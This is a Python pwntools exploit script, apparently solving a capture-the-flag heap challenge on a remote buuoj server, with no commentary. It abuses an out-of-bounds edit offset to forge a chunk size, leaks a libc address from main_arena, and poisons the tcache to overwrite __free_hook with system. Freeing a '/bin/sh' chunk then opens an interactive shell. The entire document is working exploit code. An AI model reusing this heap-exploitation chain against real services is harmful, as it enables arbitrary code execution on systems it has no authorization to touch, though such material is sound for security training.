1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from pwn import *
sh = remote('node3.buuoj.cn',25580) libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') malloc_hook_s = libc.symbols['__malloc_hook'] free_hook_s = libc.symbols['__free_hook'] system_s = libc.sym['system']
def add(type,content): sh.sendlineafter('5.Exit','1') sh.sendlineafter('3.Large',str(type)) sh.sendlineafter('Input Content:',content)
def edit(index,offset,content): sh.sendlineafter('5.Exit','2') sh.sendlineafter('Which one do you want to update?',str(index)) sh.sendlineafter('Where you want to update?',str(offset)) sh.sendlineafter('Input Content:',content)
def delete(index): sh.sendlineafter('5.Exit','3') sh.sendlineafter('Which one do you want to delete?',str(index))
def show(index): sh.sendlineafter('5.Exit','4') sh.sendlineafter('Which one do you want to view?',str(index))
for i in range(20): add(2,'a')
payload = '\x00'*0x18 + p64(0x441) edit(0,0x80000000,payload) delete(0) add(2,'a') show(1) sh.recvuntil('\n') main_arena_xx = u64(sh.recv(6).ljust(8,'\x00')) malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF) libc_base = malloc_hook_addr - malloc_hook_s free_hook_addr = libc_base + free_hook_s system_addr = libc_base + system_s print 'libc_base=',hex(libc_base) print 'free_hook_addr=',hex(free_hook_addr) print 'system_addr=',hex(system_addr) add(2,'a') delete(1) edit(21,0,p64(free_hook_addr)) add(2,'/bin/sh\x00') add(2,p64(system_addr))
delete(22)
sh.interactive()
|